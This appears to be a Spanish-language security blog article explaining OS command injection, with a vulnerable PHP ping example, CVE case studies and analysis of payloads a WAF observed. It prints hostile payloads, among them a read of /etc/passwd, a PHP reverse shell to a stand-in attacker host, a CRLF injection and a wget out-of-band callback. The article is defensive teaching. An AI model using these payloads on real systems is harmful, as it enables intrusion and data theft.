La inyección de comandos en el sistema operativo es una vulnerabilidad de las aplicaciones web que facilita la ejecución de comandos arbitrarios en el sistema operativo subyacente. Estas vulnerabilidades tienen lugar cuando las aplicaciones web invocan comandos del sistema operativo con información introducida por un usuario como argumento. Esta vulnerabilidad también se puede identificar bajo las referencias CWE-77 o CWE-78.
Piensa en una aplicación web diseñada para supervisar sistemas internos y enviar alertas cuando uno de los sistemas quede fuera de línea: dicha aplicación puede querer comprobar si la red es capaz de alcanzar el destino con la ejecución de un comando de ping. Si la aplicación está escrita en PHP, el código subyacente será más o menos así:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
En este ejemplo, la función de ejecución de PHP ejecuta el comando de ping con el valor de «ip_address» que haya proporcionado el usuario, añadido al final como destino con tal de comprobar si se puede alcanzar. Sin embargo, si un atacante proporciona localhost; cat /etc/passwd
como dirección IP, se ejecutarán tanto el comando de ping como el segundo comando iniciado después del punto y coma. Si esto ocurre, el atacante pasará a controlar la ejecución del comando y podrá ejecutar todos los comandos maliciosos que quiera con el objetivo de acceder a más zonas, conseguir información delicada, mantener la persistencia o moverse hacia otros objetivos de la red. Por sus consecuencias, a menudo devastadoras, las vulnerabilidades de inyección de comandos suelen considerarse de mayor gravedad que otras vulnerabilidades de las aplicaciones web.
La inyección de comandos se suele confundir con otros ataques de inyección, sobre todo la inyección de código. La manera más sencilla de distinguir entre ambas vulnerabilidades se basa en el método y el contexto de la ejecución de la carga útil:
Es sabido que la inyección de comandos se ejecuta en el contexto de los programas de shell del sistema operativo subyacente (p. ej., bash, PowerShell); más concretamente, en la llamada a un programa externo.
Por su parte, la inyección de código se ejecuta en el contexto del lenguaje de programación que se utilice, como puede ser la inyección en las funciones «eval» o «include» de PHP y la ejecución de código PHP arbitrario.
Lo que suele confundir es cuando la carga útil de la inyección de comandos incluye código de lenguajes de programación como PHP. Por ejemplo, piensa en el uso de la siguiente carga útil en la inyección de comandos del ejemplo anterior, que iniciará un shell inverso:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Como la carga útil contiene, en gran parte, código PHP, a primera vista se puede confundir con una inyección de código, pero el principio de la carga útil demuestra que, en realidad, se trata de una inyección de comandos. El punto y coma termina el comando de ping antes de que se ejecute el comando de PHP. «php -r» ejecuta el siguiente PHP en la línea de comandos, que en este caso es un shell inverso que redirige a la dirección IP del atacante. Por mucho que se ejecute código PHP en nuestra carga útil, se trata de una inyección de comandos en el sistema operativo porque estamos inyectando en los argumentos del programa de shell del sistema operativo.
Ahora que ya sabemos qué se considera y qué no se considera inyección de comandos en el sistema operativo, fijémonos en ejemplos reales de este tipo de ataque, centrándonos en su ejecución.
Las versiones de NagiosXI entre la 5.5.6 y la 5.7.5 quedaron afectadas por tres incidentes distintos de inyección de comandos. Nuestro ejemplo anterior del ping, de hecho, se basa en CVE-2021-25298, cuya vulnerabilidad de inyección de comandos radicaba en una llamada al ping mediante la función «exec» de PHP con una dirección IP proporcionada por el usuario. En el análisis detallado que realizamos de estas CVE, mostramos un uso práctico de estas vulnerabilidades iniciando los shells remotos de Meterpreter y las devoluciones de llamada a interactsh de Project Discovery. Como ya indicó la CISA, los atacantes no dudan en aprovechar estas CVE en el internet no controlado, por lo que pueden acabar poniendo en peligro sistemas enteros.
Esta vulnerabilidad concreta es un gran ejemplo de cómo no se previene un ataque de inyección de comandos. Dinh Hoang escribió un excelente artículo acerca de la vulnerabilidad; en concreto, explicó que ADManagerPlus utiliza una función «CommonUtil.getPowerShellEscapedValue» para eludir un valor de nombre de usuario y contraseña proporcionado por el usuario para un comando «reg add». No obstante, dicha función no elude caracteres CRLF, lo cual permite la inserción de la siguiente carga útil como contraseña y «launch calc»: [any-content]\r\ncalc.exe
. Como veremos más adelante, realizar este tipo de saneamiento de la entrada abre la puerta a errores, nuevas lagunas o metacaracteres pasados por alto que pueden dar pie a futuros ataques de inyección de comandos.
El WAF de última generación de Fastly protege contra ataques de inyección de comandos. Si examinamos algunas de las cargas útiles de inyección de comandos observadas, podemos ver qué es lo que envían los atacantes para detectar vulnerabilidades de inyección de comandos en el sistema operativo.
language=&ping -c 25 127.0.0.1 &
Esta carga útil es un intento bastante simple de inyectar comandos en el campo del lenguaje. Además, utiliza una técnica de inyección de comandos a ciegas al no depender de una respuesta del comando para detectar la inyección. En primer lugar, la carga útil utiliza el metacarácter «&» para ejecutar el segundo comando mientras el primero permanece en segundo plano. La carga útil contiene el comando del ping con la marca «-c», que indica al ping que envíe 25 paquetes, uno por segundo. Con un simple análisis del tiempo de la respuesta, un atacante puede determinar si se ejecutó el comando que inyectó. Esta técnica, sin embargo, puede fallar si la aplicación que recibe el ataque no espera a que el comando ejecutado complete la acción antes de enviar una respuesta HTTP, lo cual limita su eficacia. Veamos un ejemplo más interesante de una inyección de comandos a ciegas que no presenta esta limitación.
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
Esta carga útil se sirve de una interacción fuera de banda de la red, una técnica de inyección de comandos a ciegas que trata de detectar la inyección de comandos con la detección, a su vez, de una petición saliente de la red procedente del comando inyectado. Analicemos la carga útil por partes: la secuencia de escape y la configuración del comando, por un lado, y el contenido del comando inyectado, por el otro.